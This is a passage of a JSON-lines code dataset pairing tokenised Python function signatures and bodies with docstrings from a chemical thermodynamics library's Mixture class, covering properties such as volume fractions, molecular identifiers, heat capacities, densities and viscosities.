\\frac{V_i}{F_i}+ \\ln\\left(\\frac{V_i}{F_i}\\right)\\right)\n\n        V'_i = \\frac{r_i^{3/4}}{\\sum_j r_j^{3/4}x_j}\n\n\n    This is more clear when looking at the full rearranged form as in [3]_.\n\n    Examples\n    --------\n    >>> UNIFAC(T=333.15, xs=[0.5, 0.5], chemgroups=[{1:2, 2:4}, {1:1, 2:1, 18:1}])\n    [1.4276025835624173, 1.3646545010104225]\n\n    >>> UNIFAC(373.15, [0.2, 0.3, 0.2, 0.2], \n    ... [{9:6}, {78:6}, {1:1, 18:1}, {1:1, 2:1, 14:1}],\n    ... subgroup_data=DOUFSG, interaction_data=DOUFIP2006, modified=True)\n    [1.186431113706829, 1.440280133911197, 1.204479833499608, 1.9720706090299824]\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.\n    .. [2] Fredenslund, Aage, Russell L. Jones, and John M. Prausnitz. \"Group\n       Contribution Estimation of Activity Coefficients in Nonideal Liquid \n       Mixtures.\" AIChE Journal 21, no. 6 (November 1, 1975): 1086-99. \n       doi:10.1002/aic.690210607.\n    .. [3] Jakob, Antje, Hans Grensemann, J\u00fcrgen Lohmann, and J\u00fcrgen Gmehling. \n       \"Further Development of Modified UNIFAC (Dortmund):\u2009 Revision and \n       Extension 5.\" Industrial & Engineering Chemistry Research 45, no. 23 \n       (November 1, 2006): 7924-33. doi:10.1021/ie060355c.\n    .. [4] Kang, Jeong Won, Vladimir Diky, and Michael Frenkel. \"New Modified \n       UNIFAC Parameters Using Critically Evaluated Phase Equilibrium Data.\" \n       Fluid Phase Equilibria 388 (February 25, 2015): 128-41. \n       doi:10.1016/j.fluid.2014.12.042.", "id": "f15810:m5"}
{"signature": "@property<EOL><INDENT>def eos(self):<DEDENT>", "body": "return self.eos_in_a_box[<NUM_LIT:0>]<EOL>", "docstring": "r'''Equation of state object held by the mixture. See :\n        obj:`thermo.eos_mix` for a full listing.\n\n        Examples\n        --------", "id": "f15811:c0:m7"}
{"signature": "def Vfls(self, T=None, P=None):", "body": "if (T is None or T == self.T) and (P is None or P == self.P):<EOL><INDENT>Vmls = self.Vmls<EOL><DEDENT>else:<EOL><INDENT>if T is None: T = self.T<EOL>if P is None: P = self.P<EOL>Vmls = [i(T, P) for i in self.VolumeLiquids]<EOL><DEDENT>if none_and_length_check([Vmls]):<EOL><INDENT>return zs_to_Vfs(self.zs, Vmls)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Volume fractions of all species in a hypothetical pure-liquid phase \n        at the current or specified temperature and pressure. If temperature \n        or pressure are specified, the non-specified property is assumed to be \n        that of the mixture. Note this is a method, not a property. Volume \n        fractions are calculated based on **pure species volumes only**.\n\n        Examples\n        --------\n        >>> Mixture(['hexane', 'pentane'], zs=[.5, .5], T=315).Vfls()\n        [0.5299671144566751, 0.47003288554332484]\n\n        >>> S = Mixture(['hexane', 'decane'], zs=[0.25, 0.75])\n        >>> S.Vfls(298.16, 101326)\n        [0.18301434895886864, 0.8169856510411313]", "id": "f15811:c0:m18"}
{"signature": "def Vfgs(self, T=None, P=None):", "body": "if (T is None or T == self.T) and (P is None or P == self.P):<EOL><INDENT>Vmgs = self.Vmgs<EOL><DEDENT>else:<EOL><INDENT>if T is None: T = self.T<EOL>if P is None: P = self.P<EOL>Vmgs = [i(T, P) for i in self.VolumeGases]<EOL><DEDENT>if none_and_length_check([Vmgs]):<EOL><INDENT>return zs_to_Vfs(self.zs, Vmgs)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Volume fractions of all species in a hypothetical pure-gas phase \n        at the current or specified temperature and pressure. If temperature \n        or pressure are specified, the non-specified property is assumed to be \n        that of the mixture. Note this is a method, not a property. Volume \n        fractions are calculated based on **pure species volumes only**.\n\n        Examples\n        --------\n        >>> Mixture(['sulfur hexafluoride', 'methane'], zs=[.2, .9], T=315).Vfgs()\n        [0.18062059238682632, 0.8193794076131737]\n\n        >>> S = Mixture(['sulfur hexafluoride', 'methane'], zs=[.1, .9])\n        >>> S.Vfgs(P=1E2)\n        [0.0999987466608421, 0.9000012533391578]", "id": "f15811:c0:m19"}
{"signature": "@property<EOL><INDENT>def PubChems(self):<DEDENT>", "body": "return [i.PubChem for i in self.Chemicals]<EOL>", "docstring": "r'''PubChem Component ID numbers for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5]).PubChems\n        [241, 1140]", "id": "f15811:c0:m20"}
{"signature": "@property<EOL><INDENT>def formulas(self):<DEDENT>", "body": "return [i.formula for i in self.Chemicals]<EOL>", "docstring": "r'''Chemical formulas for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['ethanol', 'trichloroethylene', 'furfuryl alcohol'],\n        ... ws=[0.5, 0.2, 0.3]).formulas\n        ['C2H6O', 'C2HCl3', 'C5H6O2']", "id": "f15811:c0:m21"}
{"signature": "@property<EOL><INDENT>def smiless(self):<DEDENT>", "body": "return [i.smiles for i in self.Chemicals]<EOL>", "docstring": "r'''SMILES strings for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['methane', 'ethane', 'propane', 'butane'],\n        ... zs=[0.25, 0.25, 0.25, 0.25]).smiless\n        ['C', 'CC', 'CCC', 'CCCC']", "id": "f15811:c0:m22"}
{"signature": "@property<EOL><INDENT>def InChIs(self):<DEDENT>", "body": "return [i.InChI for i in self.Chemicals]<EOL>", "docstring": "r'''InChI strings for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['methane', 'ethane', 'propane', 'butane'],\n        ... zs=[0.25, 0.25, 0.25, 0.25]).InChIs\n        ['CH4/h1H4', 'C2H6/c1-2/h1-2H3', 'C3H8/c1-3-2/h3H2,1-2H3', 'C4H10/c1-3-4-2/h3-4H2,1-2H3']", "id": "f15811:c0:m23"}
{"signature": "@property<EOL><INDENT>def InChI_Keys(self):<DEDENT>", "body": "return [i.InChI_Key for i in self.Chemicals]<EOL>", "docstring": "r'''InChI keys for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['1-nonene'], zs=[1]).InChI_Keys\n        ['JRZJOMJEPLMPRA-UHFFFAOYSA-N']", "id": "f15811:c0:m24"}
{"signature": "@property<EOL><INDENT>def IUPAC_names(self):<DEDENT>", "body": "return [i.IUPAC_name for i in self.Chemicals]<EOL>", "docstring": "r'''IUPAC names for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['1-hexene', '1-nonene'], zs=[.7, .3]).IUPAC_names\n        ['hex-1-ene', 'non-1-ene']", "id": "f15811:c0:m25"}
{"signature": "@property<EOL><INDENT>def synonymss(self):<DEDENT>", "body": "return [i.synonyms for i in self.Chemicals]<EOL>", "docstring": "r'''Lists of synonyms for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['Tetradecene', 'Pentadecene'], zs=[.1, .9]).synonymss\n        [['tetradec-2-ene', 'tetradecene', '2-tetradecene', 'tetradec-2-ene', '26952-13-6', '35953-53-8', '1652-97-7'], ['pentadec-1-ene', '1-pentadecene', 'pentadecene,1-', 'pentadec-1-ene', '13360-61-7', 'pentadecene']]", "id": "f15811:c0:m26"}
{"signature": "@property<EOL><INDENT>def charges(self):<DEDENT>", "body": "return [i.charge for i in self.Chemicals]<EOL>", "docstring": "r'''Charges for all chemicals in the mixture, [faraday].\n\n        Examples\n        --------\n        >>> Mixture(['water', 'sodium ion', 'chloride ion'], zs=[.9, .05, .05]).charges\n        [0, 1, -1]", "id": "f15811:c0:m27"}
{"signature": "@property<EOL><INDENT>def similarity_variables(self):<DEDENT>", "body": "return [i.similarity_variable for i in self.Chemicals]<EOL>", "docstring": "r'''Similarity variables for all chemicals in the mixture, see \n        :obj:`thermo.elements.similarity_variable` for the definition, [mol/g]\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5]).similarity_variables\n        [0.15362587797189262, 0.16279853724428964]", "id": "f15811:c0:m28"}
{"signature": "@property<EOL><INDENT>def atomss(self):<DEDENT>", "body": "return [i.atoms for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of atom counts for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen', 'oxygen'], zs=[.01, .99]).atomss\n        [{'N': 2}, {'O': 2}]", "id": "f15811:c0:m29"}
{"signature": "@property<EOL><INDENT>def ringss(self):<DEDENT>", "body": "return [i.rings for i in self.Chemicals]<EOL>", "docstring": "r'''List of ring counts for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['Docetaxel', 'Paclitaxel'], zs=[.5, .5]).ringss\n        [6, 7]", "id": "f15811:c0:m30"}
{"signature": "@property<EOL><INDENT>def atom_fractionss(self):<DEDENT>", "body": "return [i.atom_fractions for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of atomic fractions for all chemicals in the\n        mixture.\n\n        Examples\n        --------\n        >>> Mixture(['oxygen', 'nitrogen'], zs=[.5, .5]).atom_fractionss\n        [{'O': 1.0}, {'N': 1.0}]", "id": "f15811:c0:m31"}
{"signature": "@property<EOL><INDENT>def atom_fractions(self):<DEDENT>", "body": "things = dict()<EOL>for zi, atoms in zip(self.zs, self.atomss):<EOL><INDENT>for atom, count in atoms.iteritems():<EOL><INDENT>if atom in things:<EOL><INDENT>things[atom] += zi*count<EOL><DEDENT>else:<EOL><INDENT>things[atom] = zi*count<EOL><DEDENT><DEDENT><DEDENT>tot = sum(things.values())<EOL>return {atom : value/tot for atom, value in things.iteritems()}<EOL>", "docstring": "r'''Dictionary of atomic fractions for each atom in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['CO2', 'O2'], zs=[0.5, 0.5]).atom_fractions\n        {'C': 0.2, 'O': 0.8}", "id": "f15811:c0:m32"}
{"signature": "@property<EOL><INDENT>def mass_fractionss(self):<DEDENT>", "body": "return [i.mass_fractions for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of mass fractions for all chemicals in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['oxygen', 'nitrogen'], zs=[.5, .5]).mass_fractionss\n        [{'O': 1.0}, {'N': 1.0}]", "id": "f15811:c0:m33"}
{"signature": "@property<EOL><INDENT>def mass_fractions(self):<DEDENT>", "body": "things = dict()<EOL>for zi, atoms in zip(self.zs, self.atomss):<EOL><INDENT>for atom, count in atoms.iteritems():<EOL><INDENT>if atom in things:<EOL><INDENT>things[atom] += zi*count<EOL><DEDENT>else:<EOL><INDENT>things[atom] = zi*count<EOL><DEDENT><DEDENT><DEDENT>return mass_fractions(things)<EOL>", "docstring": "r'''Dictionary of mass fractions for each atom in the mixture.\n\n        Examples\n        --------\n        >>> Mixture(['CO2', 'O2'], zs=[0.5, 0.5]).mass_fractions\n        {'C': 0.15801826905745822, 'O': 0.8419817309425419}", "id": "f15811:c0:m34"}
{"signature": "@property<EOL><INDENT>def legal_statuses(self):<DEDENT>", "body": "return [i.legal_status for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of the legal status for all chemicals in the\n        mixture.\n\n        Examples\n        --------\n        >>> pprint(Mixture(['oxygen', 'nitrogen'], zs=[.5, .5]).legal_statuses)\n        [{'DSL': 'LISTED',\n          'EINECS': 'LISTED',\n          'NLP': 'UNLISTED',\n          'SPIN': 'LISTED',\n          'TSCA': 'LISTED'},\n         {'DSL': 'LISTED',\n          'EINECS': 'LISTED',\n          'NLP': 'UNLISTED',\n          'SPIN': 'LISTED',\n          'TSCA': 'LISTED'}]", "id": "f15811:c0:m35"}
{"signature": "@property<EOL><INDENT>def economic_statuses(self):<DEDENT>", "body": "return [i.economic_status for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of the economic status for all chemicals in\n        the mixture.\n\n        Examples\n        --------\n        >>> pprint(Mixture(['o-xylene', 'm-xylene'], zs=[.5, .5]).economic_statuses)\n        [[\"US public: {'Manufactured': 0.0, 'Imported': 0.0, 'Exported': 0.0}\",\n          u'100,000 - 1,000,000 tonnes per annum',\n          'OECD HPV Chemicals'],\n         [\"US public: {'Manufactured': 39.805, 'Imported': 0.0, 'Exported': 0.0}\",\n          u'100,000 - 1,000,000 tonnes per annum',\n          'OECD HPV Chemicals']]", "id": "f15811:c0:m36"}
{"signature": "@property<EOL><INDENT>def UNIFAC_groups(self):<DEDENT>", "body": "return [i.UNIFAC_groups for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of UNIFAC subgroup: count groups for each chemical in the mixture. Uses the original\n        UNIFAC subgroups, as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Mixture(['1-pentanol', 'decane'], ws=[0.5, 0.5]).UNIFAC_groups)\n        [{1: 1, 2: 4, 14: 1}, {1: 2, 2: 8}]", "id": "f15811:c0:m37"}
{"signature": "@property<EOL><INDENT>def UNIFAC_Dortmund_groups(self):<DEDENT>", "body": "return [i.UNIFAC_Dortmund_groups for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of Dortmund UNIFAC subgroup: count groups for each chemcial in the mixture. Uses the\n        Dortmund UNIFAC subgroups, as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Mixture(['1-pentanol', 'decane'], ws=[0.5, 0.5]).UNIFAC_Dortmund_groups)\n        [{1: 1, 2: 4, 14: 1}, {1: 2, 2: 8}]", "id": "f15811:c0:m38"}
{"signature": "@property<EOL><INDENT>def PSRK_groups(self):<DEDENT>", "body": "return [i.PSRK_groups for i in self.Chemicals]<EOL>", "docstring": "r'''List of dictionaries of PSRK subgroup: count groups for each chemical in the mixture. Uses the PSRK subgroups,\n        as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Mixture(['1-pentanol', 'decane'], ws=[0.5, 0.5]).PSRK_groups)\n        [{1: 1, 2: 4, 14: 1}, {1: 2, 2: 8}]", "id": "f15811:c0:m39"}
{"signature": "@property<EOL><INDENT>def R_specific(self):<DEDENT>", "body": "return property_molar_to_mass(R, self.MW)<EOL>", "docstring": "r'''Specific gas constant of the mixture, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> Mixture(['N2', 'O2'], zs=[0.79, .21]).R_specific\n        288.1928437986195", "id": "f15811:c0:m40"}
{"signature": "@property<EOL><INDENT>def charge_balance(self):<DEDENT>", "body": "return sum([zi*ci for zi, ci in zip(self.zs, self.charges)])<EOL>", "docstring": "r'''Charge imbalance of the mixture, in units of [faraday].\n        Mixtures meeting the electroneutrality condition will have an imbalance\n        of 0.\n\n        Examples\n        --------\n        >>> Mixture(['Na+', 'Cl-', 'water'], zs=[.01, .01, .98]).charge_balance\n        0.0", "id": "f15811:c0:m41"}
{"signature": "@property<EOL><INDENT>def Psats(self):<DEDENT>", "body": "return [i.Psat for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component vapor pressures of the chemicals in the mixture at\n        its current temperature, in units of [Pa].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Psats\n        [32029.25774454549, 10724.419010511821]", "id": "f15811:c0:m42"}
{"signature": "@property<EOL><INDENT>def Hvapms(self):<DEDENT>", "body": "return [i.Hvapm for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component enthalpies of vaporization of the chemicals in the\n        mixture at its current temperature, in units of [J/mol].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Hvapms\n        [32639.806783391632, 36851.7902195611]", "id": "f15811:c0:m43"}
{"signature": "@property<EOL><INDENT>def Hvaps(self):<DEDENT>", "body": "return [i.Hvap for i in self.Chemicals]<EOL>", "docstring": "r'''Enthalpy of vaporization of the chemicals in the mixture at its\n        current temperature, in units of [J/kg].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Hvaps\n        [417859.9144942896, 399961.16950519773]", "id": "f15811:c0:m44"}
{"signature": "@property<EOL><INDENT>def Cpsms(self):<DEDENT>", "body": "return [i.Cpsm for i in self.Chemicals]<EOL>", "docstring": "r'''Solid-phase pure component heat capacity of the chemicals in the\n        mixture at its current temperature, in units of [J/mol/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cpsms\n        [109.77384365511931, 135.22614707678474]", "id": "f15811:c0:m45"}
{"signature": "@property<EOL><INDENT>def Cplms(self):<DEDENT>", "body": "return [i.Cplm for i in self.Chemicals]<EOL>", "docstring": "r'''Liquid-phase pure component heat capacity of the chemicals in the\n        mixture at its current temperature, in units of [J/mol/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cplms\n        [140.9113971170526, 163.62584810669068]", "id": "f15811:c0:m46"}
{"signature": "@property<EOL><INDENT>def Cpgms(self):<DEDENT>", "body": "return [i.Cpgm for i in self.Chemicals]<EOL>", "docstring": "r'''Gas-phase ideal gas heat capacity of the chemicals at its current\n        temperature, in units of [J/mol/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cpgms\n        [89.55804092586159, 111.70390334788907]", "id": "f15811:c0:m47"}
{"signature": "@property<EOL><INDENT>def Cpss(self):<DEDENT>", "body": "return [i.Cps for i in self.Chemicals]<EOL>", "docstring": "r'''Solid-phase pure component heat capacity of the chemicals in the\n        mixture at its current temperature, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cpss\n        [1405.341925822248, 1467.6412627521154]", "id": "f15811:c0:m48"}
{"signature": "@property<EOL><INDENT>def Cpls(self):<DEDENT>", "body": "return [i.Cpl for i in self.Chemicals]<EOL>", "docstring": "r'''Liquid-phase pure component heat capacity of the chemicals in the\n        mixture at its  current temperature, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cpls\n        [1803.9697581961016, 1775.869915141704]", "id": "f15811:c0:m49"}
{"signature": "@property<EOL><INDENT>def Cpgs(self):<DEDENT>", "body": "return [i.Cpg for i in self.Chemicals]<EOL>", "docstring": "r'''Gas-phase pure component heat capacity of the chemicals in the\n        mixture at its current temperature, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cpgs\n        [1146.5360555565146, 1212.3488046342566]", "id": "f15811:c0:m50"}
{"signature": "@property<EOL><INDENT>def Cvgms(self):<DEDENT>", "body": "return [i.Cvgm for i in self.Chemicals]<EOL>", "docstring": "r'''Gas-phase pure component ideal-gas contant-volume heat capacities\n        of the chemicals in the mixture at its current temperature, in units\n        of [J/mol/K].  Subtracts R from the ideal-gas heat capacities; does not\n        include pressure-compensation from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cvgms\n        [81.2435811258616, 103.38944354788907]", "id": "f15811:c0:m51"}
{"signature": "@property<EOL><INDENT>def Cvgs(self):<DEDENT>", "body": "return [i.Cvg for i in self.Chemicals]<EOL>", "docstring": "r'''Gas-phase pure component ideal-gas contant-volume heat capacities\n        of the chemicals in the mixture at its current temperature, in units of\n        [J/kg/K]. Subtracts R from the ideal-gas heat capacity; does not include\n        pressure-compensation from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Cvgs\n        [1040.093040003431, 1122.1100117398266]", "id": "f15811:c0:m52"}
{"signature": "@property<EOL><INDENT>def isentropic_exponents(self):<DEDENT>", "body": "return [i.isentropic_exponent for i in self.Chemicals]<EOL>", "docstring": "r'''Gas-phase pure component ideal-gas isentropic exponent of the\n        chemicals in the  mixture at its current temperature, [dimensionless].\n         Does not include pressure-compensation from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).isentropic_exponents\n        [1.1023398979313739, 1.080418846592871]", "id": "f15811:c0:m53"}
{"signature": "@property<EOL><INDENT>def Vmss(self):<DEDENT>", "body": "return [i.Vms for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component solid-phase molar volumes of the chemicals in the\n        mixture at its current temperature, in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Mixture(['iron'], ws=[1], T=320).Vmss\n        [7.09593392630242e-06]", "id": "f15811:c0:m54"}
{"signature": "@property<EOL><INDENT>def Vmls(self):<DEDENT>", "body": "return [i.Vml for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component liquid-phase molar volumes of the chemicals in the\n        mixture at its current temperature and pressure, in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Vmls\n        [9.188896727673715e-05, 0.00010946199496993461]", "id": "f15811:c0:m55"}
{"signature": "@property<EOL><INDENT>def Vmgs(self):<DEDENT>", "body": "return [i.Vmg for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component gas-phase molar volumes of the chemicals in the\n        mixture at its current temperature and pressure, in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Vmgs\n        [0.024929001982294974, 0.024150186467130488]", "id": "f15811:c0:m56"}
{"signature": "@property<EOL><INDENT>def rhoss(self):<DEDENT>", "body": "return [i.rhos for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component solid-phase mass density of the chemicals in the\n        mixture at its  current temperature, in units of [kg/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['iron'], ws=[1], T=320).rhoss\n        [7869.999999999994]", "id": "f15811:c0:m57"}
{"signature": "@property<EOL><INDENT>def rhols(self):<DEDENT>", "body": "return [i.rhol for i in self.Chemicals]<EOL>", "docstring": "r'''Pure-component liquid-phase mass density of the chemicals in the\n        mixture at its current temperature and pressure, in units of [kg/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).rhols\n        [850.0676666084917, 841.7389069631628]", "id": "f15811:c0:m58"}
{"signature": "@property<EOL><INDENT>def rhogs(self):<DEDENT>", "body": "return [i.rhog for i in self.Chemicals]<EOL>", "docstring": "r'''Pure-component gas-phase mass densities of the chemicals in the\n        mixture at its current temperature and pressure, in units of [kg/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).rhogs\n        [3.1333721283939258, 3.8152260283954584]", "id": "f15811:c0:m59"}
{"signature": "@property<EOL><INDENT>def rhosms(self):<DEDENT>", "body": "return [i.rhosm for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component molar densities of the chemicals in the solid phase\n        at the current temperature and pressure, in units of [mol/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['iron'], ws=[1], T=320).rhosms\n        [140925.7767033753]", "id": "f15811:c0:m60"}
{"signature": "@property<EOL><INDENT>def rholms(self):<DEDENT>", "body": "return [i.rholm for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component molar densities of the chemicals in the mixture in\n        the liquid phase at the current temperature and pressure, in units of\n        [mol/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).rholms\n        [10882.699301520635, 9135.590853014008]", "id": "f15811:c0:m61"}
{"signature": "@property<EOL><INDENT>def rhogms(self):<DEDENT>", "body": "return [i.rhogm for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component molar densities of the chemicals in the gas phase at\n        the current temperature and pressure, in units of [mol/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).rhogms\n        [40.11392035309789, 41.407547778608084]", "id": "f15811:c0:m62"}
{"signature": "@property<EOL><INDENT>def Zss(self):<DEDENT>", "body": "return [i.Zs for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component compressibility factors of the chemicals in the\n        mixture in the solid phase at the current temperature and pressure,\n        [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['palladium'], ws=[1]).Zss\n        [0.00036248477437931853]", "id": "f15811:c0:m63"}
{"signature": "@property<EOL><INDENT>def Zls(self):<DEDENT>", "body": "return [i.Zl for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component compressibility factors of the chemicals in the\n        liquid phase at the current temperature and pressure, [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Zls\n        [0.0034994191720201235, 0.004168655010037687]", "id": "f15811:c0:m64"}
{"signature": "@property<EOL><INDENT>def Zgs(self):<DEDENT>", "body": "return [i.Zg for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component compressibility factors of the chemicals in the\n        mixture in the gas phase at the current temperature and pressure,\n        [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).Zgs\n        [0.9493743379816593, 0.9197146081359057]", "id": "f15811:c0:m65"}
{"signature": "@property<EOL><INDENT>def SGs(self):<DEDENT>", "body": "rhos = self.rhos<EOL>if rhos is not None:<EOL><INDENT>return SG(rhos)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of a hypothetical solid phase of the mixture at the \n        specified temperature and pressure, [dimensionless].\n        The reference condition is water at 4 \u00b0C and 1 atm \n        (rho=999.017 kg/m^3). The SG varries with temperature and pressure\n        but only very slightly.", "id": "f15811:c0:m66"}
{"signature": "@property<EOL><INDENT>def SGl(self):<DEDENT>", "body": "rhol = self.rhol<EOL>if rhol is not None:<EOL><INDENT>return SG(rhol)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of a hypothetical liquid phase of the mixture at  \n        the specified temperature and pressure, [dimensionless].\n        The reference condition is water at 4 \u00b0C and 1 atm \n        (rho=999.017 kg/m^3). For liquids, SG is defined that the reference\n        chemical's T and P are fixed, but the chemical itself varies with\n        the specified T and P.\n\n        Examples\n        --------\n        >>> Mixture('water', ws=[1], T=365).SGl\n        0.9650065522428539", "id": "f15811:c0:m67"}
{"signature": "@property<EOL><INDENT>def isobaric_expansion_ls(self):<DEDENT>", "body": "return [i.isobaric_expansion_l for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component isobaric (constant-pressure) expansions of the\n        chemicals in the mixture in the liquid phase at its current temperature\n        and pressure, in units of [1/K].\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).isobaric_expansion_ls\n        [0.0012736035771253886, 0.0011234157437069571]", "id": "f15811:c0:m68"}
{"signature": "@property<EOL><INDENT>def isobaric_expansion_gs(self):<DEDENT>", "body": "return [i.isobaric_expansion_g for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component isobaric (constant-pressure) expansions of the\n        chemicals in the mixture in the gas phase at its current temperature\n        and pressure, in units of [1/K].\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).isobaric_expansion_gs\n        [0.0038091518363900499, 0.0043556759306508453]", "id": "f15811:c0:m69"}
{"signature": "@property<EOL><INDENT>def muls(self):<DEDENT>", "body": "return [i.mul for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component viscosities of the chemicals in the mixture in the\n        liquid phase at its current temperature and pressure, in units of \n        [Pa*s].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).muls\n        [0.00045545522798131764, 0.00043274394349114754]", "id": "f15811:c0:m70"}
{"signature": "@property<EOL><INDENT>def mugs(self):<DEDENT>", "body": "return [i.mug for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component viscosities of the chemicals in the mixture in the\n        gas phase at its current temperature and pressure, in units of [Pa*s].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).mugs\n        [8.082880451060605e-06, 7.442602145854158e-06]", "id": "f15811:c0:m71"}
{"signature": "@property<EOL><INDENT>def kls(self):<DEDENT>", "body": "return [i.kl for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component thermal conductivities of the chemicals in the\n        mixture in the liquid phase at its current temperature and pressure, in\n        units of [W/m/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).kls\n        [0.13391538485205587, 0.12429339088930591]", "id": "f15811:c0:m72"}
{"signature": "@property<EOL><INDENT>def kgs(self):<DEDENT>", "body": "return [i.kg for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component thermal conductivies of the chemicals in the mixture\n        in the gas phase at its current temperature and pressure, in units of\n        [W/m/K].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).kgs\n        [0.011865404482987936, 0.010981336502491088]", "id": "f15811:c0:m73"}
{"signature": "@property<EOL><INDENT>def sigmas(self):<DEDENT>", "body": "return [i.sigma for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component surface tensions of the chemicals in the mixture at\n        its current temperature, in units of [N/m].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'toluene'], ws=[0.5, 0.5], T=320).sigmas\n        [0.02533469712937521, 0.025254723406585546]", "id": "f15811:c0:m74"}
